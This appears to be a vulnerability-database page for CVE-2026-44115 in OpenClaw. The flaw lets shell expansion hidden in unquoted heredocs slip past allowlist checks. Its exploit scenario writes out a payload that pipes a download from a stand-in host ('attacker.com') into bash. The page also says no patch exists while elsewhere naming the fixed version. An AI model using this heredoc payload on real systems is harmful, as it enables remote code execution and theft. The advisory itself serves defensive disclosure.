Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to OpenClaw interface
-
DeliveryCraft allowlisted command with unquoted heredoc
-
ExploitEmbed shell expansion token in heredoc body
-
InstallSubmit for allowlist validation
-
C2Bypass static analysis
-
ExecuteShell executes embedded expansion at runtime
-
ImpactArbitrary code execution
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation completeness
|
| Exploitation Conditions | Exploitation requires authenticated access (PR:L per CVSS vector) to OpenClaw's command submission interface where the exec allowlist feature is enforced as a security control. The attacker must be able to submit custom commands for allowlist evaluation-specifically commands containing unquoted heredocs (<<DELIMITER syntax without quotes around DELIMITER). Vulnerable code path is in exec-approvals-analysis.ts used for pre-execution validation. The vulnerability exists in OpenClaw versions ≤2026.4.21; version 2026.4.22 is not vulnerable. Limiting factors: requires that the organization actively uses OpenClaw's exec allowlist feature for command authorization (not all deployments may enable this), and requires the attacker already possess valid low-privilege credentials to the system. The network attack vector (AV:N) indicates the submission interface is network-accessible. No user interaction (UI:N) or elevated privileges beyond basic authentication are required. |
| Impact | Real-world risk is significant for organizations using OpenClaw's command allowlist feature as a security control. CVSS 8.7 (AV:N/AC:L/PR:L/UI:N) indicates network-accessible exploitation requiring only low-privilege authentication with no user interaction, yielding high impact on confidentiality, integrity, and availability in the vulnerable component (no scope change). The low attack complexity reflects straightforward exploitation once an attacker has command submission access. However, exploitation prerequisites substantially narrow the attack surface: this requires (1) authenticated access to OpenClaw's command submission interface, (2) the exec allowlist feature being actively used for security enforcement, and (3) attacker-controlled input reaching the allowlist analyzer. No EPSS score, KEV status, or public POC data was provided, but the detailed fix commit and GHSA advisory effectively serve as exploitation blueprints-the commit diff reveals exact vulnerable code paths and test cases demonstrating malicious payloads. The 'Authentication Bypass' tag aligns with the allowlist evasion impact. Key missing data: EPSS exploitation probability, evidence of in-the-wild exploitation, and deployment prevalence of the allowlist feature. Organizations not using OpenClaw's exec allowlist as a security boundary face minimal risk despite the high CVSS score. For those relying on this control to restrict shell command execution in multi-tenant or privilege-separated environments, this represents a complete bypass warranting urgent patching. |
| Exploit ScenarioDerived | An authenticated attacker with low-level privileges submits a command to OpenClaw's exec allowlist interface, embedding shell expansion in an unquoted heredoc: '/usr/bin/cat <<EOF\n$(curl attacker.com/payload.sh | bash)\nEOF'. The allowlist analyzer incorrectly parses the heredoc body as literal text containing safe string '$(curl attacker.com/payload.sh | bash)' and approves the command as a benign 'cat' operation. At runtime, the shell expands the command substitution, downloading and executing a malicious script with the privileges of the OpenClaw process, achieving arbitrary code execution and potential lateral movement or data exfiltration. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 06, 2026
Shell expansion injection in OpenClaw's exec allowlist validation allows authenticated attackers to bypass command approval controls and execute arbitrary system commands. The vulnerability affects OpenClaw versions prior to 2026.4.22 through improper parsing of unquoted heredoc bodies, where shell expansion tokens ($VAR, $(), etc.) are treated as literal text during allowlist analysis but expanded at runtime. This enables attackers to embed unapproved commands within ostensibly safe allowlisted commands. VulnCheck disclosed this vulnerability, and a proof-of-concept fix commit is publicly available. CVSS 8.7 reflects high impact across confidentiality, integrity, and availability with low attack complexity.
RemediationAI
Upgrade to OpenClaw version 2026.4.22 or later, available via npm (npm install openclaw@2026.4.22) or GitHub release tags. The fix commit b2e8b7d4bb2f22eaa16f5c4b07547774e90b65a5 (https://github.com/openclaw/openclaw/commit/b2e8b7d4bb2f22eaa16f5c4b07547774e90b65a5) modifies exec-approvals-analysis.ts to reject POSIX parameter expansion forms ($VAR, $?, $$, $1, $@, $(), ${}, $[]) in unquoted heredocs and implements backslash-continuation-splice detection to prevent delimiter-matching bypass techniques. The vendor confirmed regression testing passed before publication. If immediate patching is infeasible, implement compensating controls: (1) Disable or restrict access to OpenClaw's exec allowlist feature until upgrade-review authentication boundaries for command submission endpoints and enforce principle of least privilege; (2) Audit existing allowlisted commands for unquoted heredocs (grep for '<<[^<]' without quotes on the delimiter) and replace with quoted heredocs (<<'DELIMITER') or remove heredoc usage entirely; (3) Enable command execution logging and monitor for unexpected shell expansion artifacts in heredoc contexts (environment variable references, command substitution patterns). Note that quoted heredocs prevent shell expansion but may break legitimate use cases expecting variable interpolation-test functionality after modification. These workarounds reduce attack surface but do not eliminate the parsing vulnerability; upgrade remains the only complete remediation. Advisory and fix details at https://github.com/openclaw/openclaw/security/advisories/GHSA-x3h8-jrgh-p8jx.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability exploits a semantic gap between static analysis and runtime shell evaluation in OpenClaw's exec approval system, which validates commands against an allowlist before execution. The flaw (CWE-184: Incomplete List of Disallowed Inputs) occurs in the heredoc parsing logic within exec-approvals-analysis.ts. POSIX shells perform variable expansion, command substitution, and arithmetic expansion inside unquoted heredocs (<<EOF versus <<'EOF'), but OpenClaw's pre-execution analyzer incorrectly treated these expansion tokens as literal strings. An attacker could craft commands like '/usr/bin/cat <<EOF\n$MALICIOUS_VAR\nEOF' that pass allowlist validation as benign cat operations but execute arbitrary commands via $() substitution or exfiltrate environment secrets via $VAR expansion at runtime. The fix adds rejection logic for expansion forms ($VAR, $?, $$, $@, $(), ${}, $[]) in unquoted heredocs and handles line-continuation bypasses (backslash-newline sequences that could split expansion tokens across lines to evade simple pattern matching). The vulnerability affects the npm package 'openclaw' and requires authenticated access (PR:L) to submit commands for allowlist evaluation.
Know when Openclaw gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Primary rating from Vendor (vulncheck) · only source for this CVE.
CVSS VectorVendor: vulncheck
Lifecycle Timeline
2DescriptionCVE.org
OpenClaw before 2026.4.22 contains an exec allowlist analysis vulnerability allowing shell expansion hiding in unquoted heredoc bodies. Attackers can bypass allowlist validation by embedding shell expansion tokens in heredoc bodies to execute unapproved commands at runtime.
Blast Radius
ecosystem impact- 1 npm packages depend on openclaw (1 direct, 0 indirect)
Ecosystem-wide dependent count for version 2026.4.22.
Executive ViewAI
CVE-2026-44115 affects OpenClaw versions prior to 2026.4.22 and allows authenticated users with command execution privileges to bypass security controls and run arbitrary system commands by exploiting shell expansion parsing flaws. This directly undermines command approval workflows, creating significant risk of unauthorized access, data exfiltration, and system compromise for organizations relying on OpenClaw for controlled command execution.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict command execution permissions to a minimal set of highly-trusted administrators; (2) Disable or sandbox OpenClaw command execution capabilities if operationally feasible; (3) Implement shell escaping or input validation at the application layer to reject commands containing shell expansion tokens ($, backticks, $(), etc.); (4) Monitor command execution logs for suspicious patterns including nested expansions or variable references; (5) Network-segment systems running OpenClaw to limit lateral movement if compromise occurs.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Auth bypass in OpenClaw voice-call extension before 2026.2.1. EPSS 0.68%. PoC and patch available.
Privilege escalation in OpenClaw (pre-2026.3.28) allows unauthenticated remote attackers to gain administrative access b
OpenClaw versions 2026.2.22 through 2026.2.24 contain a privilege escalation vulnerability that allows authenticated att
An authorization mismatch vulnerability in OpenClaw versions prior to 2026.3.1 allows authenticated users with operator.
OpenClaw versions prior to 2026.1.29 automatically establish WebSocket connections to attacker-controlled gateway URLs e
Path traversal in OpenClaw through version 2026.3.23 enables unauthenticated remote attackers to read arbitrary files in
Authentication bypass in OpenClaw before 2026.5.3 allows remote attackers with low privileges to receive agent responses
Directory-context bypass in OpenClaw before 2026.8.1 allows authenticated attackers with user interaction to reuse an 'a
Unauthenticated access to the noVNC observer interface in OpenClaw's Docker sandbox browser allows anyone who can reach
Authentication bypass in OpenClaw's MCP loopback interface allows local low-privilege attackers to escalate to owner-lev
OpenClaw versions before 2026.2.26 allow authenticated attackers to write arbitrary files outside the workspace director
OpenClaw versions prior to 2026.2.22 contain a shell environment variable injection vulnerability in the system.run func
EUVD-2026-28195
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB